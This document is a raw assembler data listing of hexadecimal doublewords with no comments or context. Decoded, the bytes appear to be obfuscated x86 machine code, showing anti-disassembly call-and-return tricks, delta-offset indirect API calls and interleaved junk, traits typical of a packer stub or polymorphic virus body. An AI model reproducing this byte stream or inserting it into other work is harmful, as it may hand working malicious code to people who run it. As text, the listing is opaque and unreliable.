dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 7420169Eh, 0E15BD89h, 95FF0607h, 60700A1h, 18D8C6BFh
dd 0E9B50122h, 8306070Fh, 6AFC0CC4h, 806800h, 36A0000h
dd 6A006Ah, 68h, 11858D80h, 500609F2h, 112D95FFh, 85890607h
dd 609FB21h, 9CD85C6h, 68470607h, 0C7B15E87h, 59DB5FFh
dd 858D0607h, 6073963h, 6AD0FFh, 0FB21B5FFh, 0D0FF0609h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3C35040h
dd 9590414h, 70051BDh, 81BD8906h, 66060729h, 0D03DD08Bh
dd 0F000037h, 0A283h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0E03A0CD4h, 8EF2ABE2h
dd 0FFF88BEDh, 9FB21B5h, 14E806h, 0D9830000h, 4DE79257h
dd 1523FE2Dh, 0D1D9259Bh, 0EABFF2E2h, 6E956FDh, 9C000000h
dd 3002CEF9h, 95FF5926h, 60702C1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 4C35343h, 9417F361h, 0E14A8DAAh
dd 0EFE9h, 17860F00h, 0E8000000h, 10h, 7BFAAB2Ah, 0C10EDCE7h
dd 24ABDCF2h, 12CFA0D5h, 64BA5AF8h, 0FF59DC58h, 9FB21B5h
dd 7D958B06h, 0FF06070Bh, 702C195h, 5B50906h, 6A060713h
dd 398D8B00h, 6A060713h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0FA7FB11Bh, 0FCEDCA7h
dd 1E18D89h, 6A0607h, 5958BF5h, 6A06070Ch, 0E1BD0B00h
dd 6A060725h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 9573F525h, 0A3FCD63Ch, 9D892DC1h
dd 607064Dh, 0E9006AFCh, 7, 0B100E5F6h, 89E44856h, 70B7185h
dd 25858D06h, 0BF0609FBh, 4081A3h, 50D0B70Fh, 10359D89h
dd 95FF0607h, 607112Dh, 28B1B589h, 0F8830607h, 55850FFFh
dd 66000001h, 0F48E281h, 0B6B1858Dh, 6A0609h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3E922CC3h
dd 95958B0Ch, 0FF060718h, 918589D0h, 6A060729h, 79E18100h
dd 6A61F5B2h, 0FA8B6600h, 8D89006Ah, 6072189h, 810F006Ah
dd 4, 1F00B966h, 9D89006Ah, 6071DB1h, 0BA66006Ah, 858DCEC2h
dd 609FB25h, 6A50F5h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh, 8D89211Dh
dd 6070211h, 1DACB960h, 0E9517EB5h, 12h, 0A49D7628h, 68DD2346h
dd 6A19F9E1h, 0EFA0B5B8h, 6158B926h, 112D95FFh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 202D67C3h, 43608AE5h, 14E9E0h, 0E6B40000h, 0DC26287Dh
dd 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 0F883DB72h, 51850FFFh
dd 8B000000h, 71F15BDh, 2DB58D06h, 660609F5h, 5F89CA81h
dd 9FA8858Dh, 11E90609h, 2C000000h, 254EB3F1h, 573BB21Eh
dd 1AE39814h, 0DCFE5C29h, 9589D0FFh, 60728A1h, 8960006Ah
dd 72081B5h, 598D3106h, 61060723h, 2BDD95FFh, 85890607h
dd 6072D1Dh, 0FB218589h, 6AF90609h, 19858D00h, 660609FBh
dd 0BDE7E181h, 0BF666050h, 820F2375h, 6, 1079B509h, 6A610607h
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 9BCEB098h, 8C0F8524h, 0Ch, 68C0Fh, 8D890000h
dd 60729E1h, 178E0F60h, 0E9000000h, 12h, 0CF63F17Ch, 69592F1Fh
dd 49353549h, 0C8E326C9h, 40B5A01Ah, 0B43BB961h, 858D4767h
dd 60728F1h, 0FA1BD89h, 60500607h, 99BE66F5h, 6A6104h
dd 1AD5BD8Bh, 6A0607h, 95853151h, 5A060732h, 0EF81016Ah
dd 0EA7DF2Ah, 0FB21B5FFh, 0D1800609h, 6595FF75h, 8906071Eh
dd 729FDB5h, 0CD9D2906h, 0E9060718h, 1B8Ch, 0CF8AC08Bh
dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h
dd 0D2B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh
dd 83585BD3h, 71135BDh, 17740006h, 0D2B85350h, 89000007h
dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 8B585BD3h, 704C195h
dd 0D78B6606h, 0F1B5C08Bh, 19BD85C7h, 10607h, 13E80000h
dd 4E000000h, 9454FA3Ah, 0ED85131h, 817FDE25h, 745DEEC9h
dd 81664714h, 5A5CBACFh, 68D3BF0Fh, 0CEE4E7B8h, 29E5B5FFh
dd 858D0607h, 6073963h, 8589D0FFh, 60704D9h, 5DBD468h
dd 0E5B5FFC0h, 8D060729h, 7396385h, 89D0FF06h, 7222985h
dd 0CA858D06h, 500609EFh, 59DB5FFh, 95FF0607h, 6070DBDh
dd 0B74C00Bh, 858DD88Bh, 609FF7Dh, 8DD3FF50h, 9FF7D85h
dd 38836606h, 0C70A7509h, 70B7985h, 106h, 5195FF00h, 25060706h
dd 0FFh, 7305F883h, 0A185C70Ah, 1060713h, 89000000h, 718159Dh
dd 80D7B506h, 9FB8CBDh, 850F0006h, 33h, 7E9h, 883A6400h
dd 0D108EAD0h, 1A5BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 9D8D8933h, 83060710h
dd 70B79BDh, 850F0006h, 110h, 0FE8h, 81AA000h, 54DCF61h
dd 59DC088Fh, 40CD0988h, 1EBDBD8Bh, 8D5F0607h, 9FB5685h
dd 0DF816606h, 0F50B2ACh, 683h, 0ADB52900h, 6A060701h
dd 0F006A01h, 1380h, 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h
dd 0ED694517h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 66D4FCC3h, 4609CA81h, 7ED95FFh
dd 29600607h, 7151DBDh, 71BD2906h, 6106072Ah, 10B4BF66h
dd 0FB808589h, 95230609h, 607212Dh, 0B589FF6Ah, 6071331h
dd 0AD5EC781h, 0B5FF5CEBh, 609FB80h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 7BC35242h, 9598FBCh, 5C82346Ch
dd 0F9B96629h, 12E8E6h, 720D0000h, 0D6DA2821h, 53200BF2h
dd 0A9B049EAh, 30C6B1Bh, 0D19958Bh, 0FF5F0607h, 72B8995h
dd 12E906h, 0E9BB0000h, 0F7F61485h, 0D7381EEBh, 150DEEB9h
dd 3C195325h, 0EF91858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 9E8D36C3h, 6E8h, 20D69800h
dd 0FD55634h, 1988h, 14E900h, 0DBD90000h, 0E44ACE31h, 0D96755DCh
dd 9743A5E3h, 4B4F6DF5h
dd 0E85ABE94h, 0Dh, 96AD8303h, 182578BBh, 943CF3B8h, 0E8505FB9h
dd 0Bh, 492A51D3h, 0C8D6B0F0h, 313814B7h, 71265B5h, 95FF5906h
dd 6070F15h, 60E725BFh, 1B85893Fh, 8D0609F0h, 9EF9E85h
dd 9D895306h, 60710EDh, 0FA8B505Fh, 0F01BB5FFh, 8D8B0609h
dd 60701EDh, 8E9h, 514F5300h, 0B986B5EEh, 0BD95FF6Fh, 8B06070Dh
dd 7265995h, 61958B06h, 89060700h, 7226D85h, 0F9858906h
dd 8D06072Eh, 9F00C85h, 10E906h, 57000000h, 219A183h, 3D88CD41h
dd 4198D2F1h, 0E9501E8Bh, 12h, 200594C8h, 0B75AD88Dh, 70D259B6h
dd 0D0170FF1h, 85018723h, 6070081h, 0F01BB5FFh, 85010609h
dd 60703CDh, 0DBD95FFh, 0E9600607h, 11h, 0B08FBDDCh, 0B3CD8BFh
dd 0D249EC7Ah, 0AACDEC0h, 13E85712h, 0AC000000h, 0AAFF8A4Ah
dd 7E5D08C6h, 0D1FE6B1Dh, 0A46F25D9h, 5B5BDB08h, 5D952961h
dd 89060703h, 9F02F85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 77AFA6AFh, 21819503h
dd 858D0607h, 609EFEBh, 8950D68Bh, 7193595h, 1BB5FF06h
dd 0FC0609F0h, 0DBD95FFh, 0BE90607h, 29000000h, 0FA1ABA90h
dd 0FF1CE034h, 8589F70Ch, 609F027h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 7BC35040h, 3A1CED59h, 8B68B660h
dd 71161BDh, 858D6106h, 609EFDEh, 0C919D89h, 6A500607h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0FF8AC352h, 9F01BB5h, 55958B06h, 0FF06072Ah
dd 70DBD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 7A625EFCh, 145F26FDh, 139DBD89h
dd 85890607h, 609F02Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0AAC35141h, 8DD3BF0Fh, 9EFF985h, 35BD8B06h
dd 50060702h, 1ED99D89h, 0B5FF0607h, 609F01Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A9C35747h, 0A948819Ch
dd 97B15183h, 10E95Ah, 237E0000h, 8A0BAC95h, 0A0DB22D6h
dd 0DB4BD4D5h, 95FFF5ABh, 6070DBDh, 8589FB8Bh, 6072C25h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6CC35747h
dd 0B589DA87h, 60713D9h, 0EFAD858Dh, 6A0609h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9D0DDC3h
dd 8D01507Bh, 6071F75h, 0F01BB5FFh, 958B0609h, 6070585h
dd 105DBD03h, 95FF0607h, 6070DBDh, 5E820CBFh, 0BB59BA3Eh
dd 85891074h, 609F01Fh, 26519D89h, 858D0607h, 609EFBCh
dd 50CAB70Fh, 68A0Fh, 0BD8B0000h, 607136Dh, 0F01BB5FFh
dd 0F5800609h, 0BD95FF77h, 6A06070Dh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B532C356h
dd 11BD232h, 7214185h, 0CA8006h, 0F0238589h, 4680609h
dd 8B000001h, 0B3858DF9h, 0E80609F0h, 11h, 21C61574h, 25DA2134h
dd 0C943D7A2h, 0C12B2D68h, 29505F65h, 72845BDh, 0B7858D06h
dd 6A0609F1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0D6A1C356h, 8DAB538Fh, 53D9A641h
dd 4A5BD8Bh, 505F0607h, 0A32AB966h, 194995FFh, 958B0607h
dd 6070919h, 850FC085h, 6, 2B58D33h, 0BD800607h, 609FB8Ch
dd 10850F00h, 81000000h, 0A37EFDC9h, 14EEE96Fh, 80BA0000h
dd 8365A310h, 70B79BDh, 850F0006h, 30h, 0E258D8Bh, 0BD830607h
dd 60A0036h, 43840F00h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9C52C351h
dd 0F050858Dh, 8D0B0609h, 6070B0Dh, 149BE9h, 958BF800h
dd 60721CDh, 15E9h, 3810F00h, 66000000h, 858DFE8Bh, 609F03Bh
dd 1856CA81h, 665046A6h, 0E91AF181h, 0F0B3858Dh, 24B10609h
dd 0E98D0150h, 8306070Ah, 70B79BDh, 840F0006h, 55h, 11A5958Bh
dd 7E80607h, 0F6000000h, 0BC3BA195h, 0BD8BFECFh, 6071315h
dd 0D9858D59h, 6A0609F1h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0E9E1C355h, 0Ah, 9744C967h
dd 70EE92FCh, 22E97BBDh, 89000000h, 712358Dh, 0C2858D06h
dd 0E80609F1h, 5, 9E6DCA2Bh, 0F2816698h, 815FEF86h, 0B4D05ADAh
dd 8D295048h, 6071265h, 0EADBD01h, 858D0607h, 609F211h
dd 0C8D0Fh, 810F0000h, 6, 0F9B501h, 0FC500607h, 0A195FFh
dd 10E80607h, 0B8000000h, 93A0E9DCh, 559CBD83h, 0B97EE1A7h
dd 0F154FB7h, 68Dh, 8F0F00h, 5A000000h, 6610C483h, 8B549BB9h
dd 0D1958BC0h, 83060720h, 71ACDBDh, 9750006h, 1135BD83h
dd 74000607h, 8B535019h, 7D3B8C0h, 85890000h, 6071F7Dh
dd 0ADC09D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
dd 7D3B853h, 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h
dd 0B966585Bh, 6A46D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 7ADA74C3h, 0DD9FB605h, 0CBB70F8Ch
dd 0B70FC08Bh, 3BBD81D0h, 6F0609F0h, 0F616572h, 0AD84h
dd 8D5A5700h, 9F0B385h, 858D5006h, 609F1F0h, 11858D50h
dd 500609F2h, 0A195FFh, 0C4830607h, 0CD85C60Ch, 44060709h
dd 0A3184F68h, 9DB5FF96h, 8D060705h, 7396385h, 8BD0FF06h
dd 11858DD8h, 500609F2h, 858DD3FFh, 609F03Bh, 0B3858D50h
dd 500609F0h, 0B79BD83h, 74000607h, 0D9858D08h, 0EB0609F1h
dd 0C2858D06h, 500609F1h, 0F211858Dh, 0FF500609h, 700A195h
dd 10C48306h, 0FE8h, 0B7E72C00h, 0E3B8A8BDh, 0D30243FAh
dd 50BB6E1Dh, 12E9h, 85AF6400h, 1CBB6A9Ah, 13F0DC8h, 0D128A7Fh
dd 59547B11h, 0C03DA81h, 95FF3D5Ch, 6070651h, 11E9h, 6FF67C00h
dd 48294E6Fh, 0B11364C1h, 63666047h, 0FF25405Ah, 60000000h
dd 68D0Fh, 9D290000h, 6070705h, 5F88361h, 64830Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 87162FC3h, 0CB253DD4h, 5FFBEA81h, 85C76738h, 60713A1h
dd 1, 0CD958B53h, 59060710h, 0F06F858Dh, 6A0609h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0E9229EC3h, 0A8h, 0BD83CB8Bh, 6070B79h, 6E840F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 6A02C356h, 5A3F0073h, 8D20D5A4h, 9F09A85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0ED7C7A0h, 64C18166h, 0C9B70F5Fh, 43E9h
dd 13E900h, 49FB0000h, 168276C7h, 832FA93Ch, 648F1139h
dd 2B4047D1h, 7C858D4Ah, 6A0609F0h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7ECC357h
dd 5CA77A6Ch, 0C6D9801Ch, 0F0AF8589h, 6A0609h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 1071CDC3h, 0DA8112E3h, 40099179h, 0B79BD83h, 0F000607h
dd 2285h, 0EE900h, 0ACB20000h
dd 1401525Eh, 95772712h, 0A82B8E28h, 36BD83h, 0F00060Ah
dd 2084h, 0E9C88B00h, 10B0h, 0EE8h, 0C2E5C00h, 0CBC00574h
dd 151E3E94h, 0BA04E968h, 7C8E4DADh, 4D6E95Fh, 9D090000h
dd 6073035h, 5E9C08Bh, 0B1000000h, 2ECB2266h, 1ACDBD83h
dd 75000607h, 35BD8309h, 60711h, 53501974h, 0D4B8C08Bh
dd 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh, 83585BD3h
dd 71135BDh, 17740006h, 0D4B85350h, 89000007h, 71F7D85h
dd 0AF9D8D06h, 0FF0609AAh, 6A585BD3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A9A7C356h
dd 80605250h, 0B70F79F7h, 8A0F61F9h, 6, 45958Bh, 81660607h
dd 66E429E7h, 0DB59CF81h, 0E957C08Bh, 7, 0B60C2ABh, 5FB54B3Eh
dd 68C88B66h, 0F003Fh, 67DF8166h, 0F006AA7h, 180h, 0E88AF500h
dd 0BD89006Ah, 6071EF9h, 226D95FFh, 0B5310607h, 6072A71h
dd 0C085D18Bh, 2850Fh, 0D78B0000h, 0F0338589h, 0BF660609h
dd 6A5A60h, 6AC88Bh, 0F213E781h, 8D89172Ah, 6072079h, 8166006Ah
dd 894328C2h, 705BDB5h, 6A006A06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 9973C353h
dd 0A659E2CEh, 0C519D09h, 6A0607h, 29E2B966h, 0F211858Dh
dd 890F0609h, 0Ch, 6870Fh, 830F0000h, 0
dd 6AFE8B50h, 0D5958B01h, 6A060729h, 6810F01h, 8B000000h
dd 71809BDh, 66016A06h, 134ED781h, 0F01FF68h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0D393F0E2h, 0CF3EA7BCh, 0EE9E340h, 57000000h, 2D4DE792h
dd 9B1523FEh, 0E2D1D925h, 79BD83F2h, 6070Bh, 1F840Fh, 0B5890000h
dd 607293Dh, 858DF88Bh, 609F090h, 1061B589h, 2FE90607h
dd 89000000h, 7142DBDh, 66858D06h, 6A0609F0h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0AB61C356h, 3F7BBA2Bh, 0F5026BFh, 185h, 8D89FC00h, 60712D9h
dd 0FEB65350h, 33B5FF5Fh, 810609F0h, 0EAA4CCC2h, 1F95FF5Eh
dd 6A0609F0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0EC7AC353h, 0DEC0D249h, 0C0DBD29h
dd 0C0850607h, 15850Fh, 0B70F0000h, 0ADBD8BD3h, 0E9060702h
dd 89h, 7A75FCB9h, 89FE8B0Dh, 9F03785h, 14E906h, 0AF9C0000h
dd 3844C0Dh, 71EF014Fh, 74942902h, 8AB4330Dh, 0B5FF5BB9h
dd 609F037h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 20C35141h, 89CA5673h, 70079B5h, 28C0F06h, 8B000000h
dd 2595FFCFh, 8106072Ch, 9BD1C7DAh, 0FC08558h, 1C85h, 10880F00h
dd 0E8000000h, 8, 0D1339884h, 0C974A0B4h, 0B5FCB8Bh, 708F9BDh
dd 66106A06h, 83BDC3BFh, 70B79BDh, 840F0006h, 35h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D1C35343h, 80B0EA28h
dd 0F5F580A5h, 0F090858Dh, 14E90609h, 9000000h, 71E019Dh
dd 66858D06h, 500609F0h, 1DF9BD8Bh, 50590607h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0DAC35545h, 873DAE4Eh
dd 2E99B966h, 33B5FFF5h, 600609F0h, 23819589h, 0EE80607h
dd 8D000000h, 0ADF84167h, 6ED2376Dh, 71285E82h, 0F1E981E5h
dd 5A2B720Eh, 2B95FF61h, 600609F0h, 0D29B501h, 800F0607h
dd 6, 890Fh, 0E9610000h, 11h, 0CC0F2077h, 0C0D843D8h, 815B0824h
dd 0B54AF8Dh, 0FC08572h, 2485h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0A3B76D2Dh
dd 8A679452h, 378589F5h, 0F0609F0h, 589h, 0D417B900h, 6A0F2Eh
dd 8F0F57h, 5A000000h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0C6187C3h, 410B5931h
dd 0F59531B4h, 8B06072Bh, 71A51BDh, 37B5FF06h, 890609F0h
dd 70CB585h, 2395FF06h, 6A0609F0h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D5D8C357h
dd 3EC741BCh, 0F00E76Fh, 0C085D1B7h, 6850Fh, 8D890000h
dd 6071F85h, 0F037B5FFh, 8D890609h, 6070C79h, 0CE9h, 0B1D28000h
dd 0A8DA9290h, 0A9BE38FFh, 2595FF69h, 8B06072Ch, 71B3995h
dd 0FC08506h, 2385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 958B1173h, 6071DB1h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 6E136BC3h, 45AD0091h, 2398D31h, 80680607h, 31000000h
dd 729BDB5h, 0E8036A06h, 8, 0DF9CBF54h, 0EB4DAD58h, 590AD580h
dd 810F006Ah, 6, 820Fh, 81660000h, 6A52B6D1h, 0C9BF0F00h
dd 68h, 0D7BF0FC0h, 0F0AFB5FFh, 0B5890609h, 60722CDh, 112D95FFh
dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 175D23C3h, 0A115614Eh, 0FFFF883h, 49685h
dd 0E1E98100h, 8948390Eh, 72871B5h, 1D85FF06h, 570609FBh
dd 6840Fh, 0BD890000h, 6070E21h, 1DBD8359h, 20609FBh, 3D7840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 99B936C3h, 8D74541Ah, 5AF59F85h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0B9C6DD09h, 8BD0FF2Fh, 708C5BDh, 0F2858D06h, 0FF005AEFh
dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 8BC2ACD6h, 41BD23A1h, 8B060711h, 23E281C0h
dd 834CFB4Ah, 71ACDBDh, 9750006h, 1135BD83h, 74000607h
dd 8B535019h, 7D8B8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh
dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 7D8B853h
dd 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 0BF66585Bh
dd 5E9958Fh, 0A3000000h, 0A17E19B5h, 6850Fh, 8D310000h
dd 6072D79h, 0BF0FC08Bh, 3F68CFh, 0C7BA000Fh, 6A10D099h
dd 0AE800h, 0AA370000h, 0CD73ADCEh, 5297592h, 1E818D23h
dd 0B5F0607h, 701FD8Dh, 0FF006A06h, 7226D95h, 0C085F806h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1CC35141h
dd 35BD8B22h, 0E9060730h, 5, 0BA69B8FEh, 33858989h, 230609F0h
dd 70D8995h, 1FF6806h, 9523000Fh, 60723A9h, 22119533h
dd 0BD830607h, 6070B79h, 38840F00h, 66000000h, 0CA81D08Bh
dd 66F6D635h, 0F090858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 19FFCFC3h, 0E9F96500h
dd 2Dh, 8DC88B66h, 9F06685h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8D4E4BB9h
dd 0BCC31DA6h, 816650B7h, 0FF5BF9F1h, 9F033B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 9589695Fh, 60709B5h, 0F02B95FFh, 0C6800609h, 378589BAh
dd 0F0609F0h, 48Bh, 0C0BA6600h, 5985C780h, 6072Eh, 0F000000h
dd 0BD83FABFh, 609F037h, 90840F00h, 0E9000001h, 0Ah, 49183CD7h
dd 1CAEBF96h, 858D844Dh, 609F315h, 1DA18589h, 5E90607h
dd 0E2000000h, 65FB2A1Bh, 16AF850h, 4CD18166h, 37B5FFD3h
dd 8B0609F0h, 7049DBDh, 71850106h, 0FF060732h, 9F02F95h
dd 0B5FFF506h, 609F037h, 1BD9523h, 95FF0607h, 6072C25h
dd 47EF8166h, 0D68B6671h, 0F01FF68h, 0B5895100h, 607292Dh
dd 79BD835Fh, 6070Bh, 3A840Fh, 0F88B0000h, 0F090858Dh
dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0EE92FCC3h, 8B7BBD70h, 7100995h, 0D1853106h
dd 0E9060710h, 32h, 0F066858Dh, 6A0609h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 9543C3C3h
dd 8C0F2C4Ch, 6, 89BD8Bh, 66500607h, 614DF281h, 0F033B5FFh
dd 8B600609h, 71E859Dh, 0BD8B5706h, 607076Dh, 95FF615Ah
dd 609F02Bh, 0BAF18166h, 378589D2h, 660609F0h, 850FCA8Bh
dd 2, 0B5FFCB8Bh, 609F037h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 16C35747h, 0DA41B950h, 1B2CBE45h, 0FF65D180h
dd 9F02795h, 8D896006h, 6071F49h, 0AE58589h, 0FF610607h
dd 9F037B5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 7ECBD242h, 564EB263h, 2C2595FFh, 0E9F90607h, 0FFFFF68Ch
dd 687EBABAh, 80B5FF4Ah, 560609FBh, 3D1BD8Bh, 0FF590607h
dd 7185995h, 6E906h, 752B0000h, 0A8B7ECC8h, 2205858Bh
dd 840F0607h, 6, 22C19523h, 0E90607h, 8D000005h, 9F335B5h
dd 0B9B58906h, 8D060708h, 99FA885h, 6860F06h, 8B000000h
dd 713CDBDh, 53D0FF06h, 1E298501h, 6A590607h, 9F93BF00h
dd 95FF39A4h, 6072BDDh, 8BF8BF0Fh, 858DF9F3h, 6099FA8h
dd 0D0FF55B5h, 2F03F5BFh, 66006A32h, 0FF08D3B9h, 72BDD95h
dd 66C18106h, 8B33B63Fh, 0BD83F9C0h, 6071ACDh, 83097500h
dd 71135BDh, 19740006h, 0C08B5350h, 7D9B8h, 7D858900h
dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h
dd 7D9B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 258D8B58h
dd 8906070Ah, 71F69B5h, 0F1816606h, 0C08BAE5Eh, 22F98589h
dd 66500607h, 8B1CBABAh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 6E939D1Fh, 10685611h
dd 6800Fh, 8D290000h, 607207Dh, 9E8h, 3BF84F00h, 0D7593545h
dd 6E82F20h, 3A000000h, 996FD073h, 7D950382h, 5A060720h
dd 9D8D535Ah, 6070F2Dh, 389038Bh, 8950438Bh, 9D8D5043h
dd 609FB19h, 389038Bh, 1D18A5Bh, 705159Dh, 258D8B06h, 0F06072Ah
dd 1485h, 8E800h, 21960000h, 0AAA0CAA4h, 9D894E81h, 6070085h
dd 6A006A5Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0E04AC351h, 19A5D1D2h, 29C6808Eh
dd 858DC6B1h, 609FB19h, 0EE9h, 6E6DDA00h, 56956D8Bh, 4B1BC914h
dd 50893D10h, 2D18D8Bh, 606A0607h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0DC35747h, 0CE7E1C51h, 0BD89B639h
dd 6070CD9h, 0F2D858Dh, 5A510607h, 2A19BD8Bh, 89500607h
dd 70911BDh, 1006A06h, 72359B5h, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8564C357h
dd 1ABE8BA1h, 2890Fh, 0CF8B0000h, 685FB5h, 8B000018h, 70CB1BDh
dd 0AABA6606h, 0F98B5326h, 1E6595FFh, 33BF0607h, 0FF5CA309h
dd 702C195h, 0A58D8906h, 0FF06071Eh, 9FB80B5h, 0ED8D8B06h
dd 0FF060713h, 7185995h, 4DB50906h, 8D06072Eh, 70F2D85h
dd 0F535606h, 85h, 8B5A5F00h, 8D331840h, 607055Dh, 0FA985C7h
dd 607h, 0C9810000h, 7BA335DDh, 0B79BD83h, 0F000607h, 3E84h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 10A70EEAh, 1CAABD99h, 8C3DFCA9h, 0F000000h
dd 17883h, 31952900h, 0E9060711h, 14h, 3D10EA80h, 96h
dd 15F830Fh, 85890000h, 607111Dh, 0F59F858Dh, 9533005Ah
dd 607108Dh, 78DBD8Bh, 0D0FF0607h, 2B81B529h, 858D0607h
dd 5AEFF2h, 6810Fh, 85890000h, 6071425h, 9589D0FFh, 607300Dh
dd 8BCABF0Fh, 0DBBA66C0h, 0CDBD8321h, 6071Ah, 0BD830975h
dd 6071135h, 50197400h, 0B8C08B53h, 0BC6h, 1F7D8589h, 9D8D0607h
dd 609ADC0h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h
dd 0BC6h, 1F7D8589h, 9D8D0607h, 609AAAFh, 585BD3FFh, 0C08B5A53h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 72C35242h
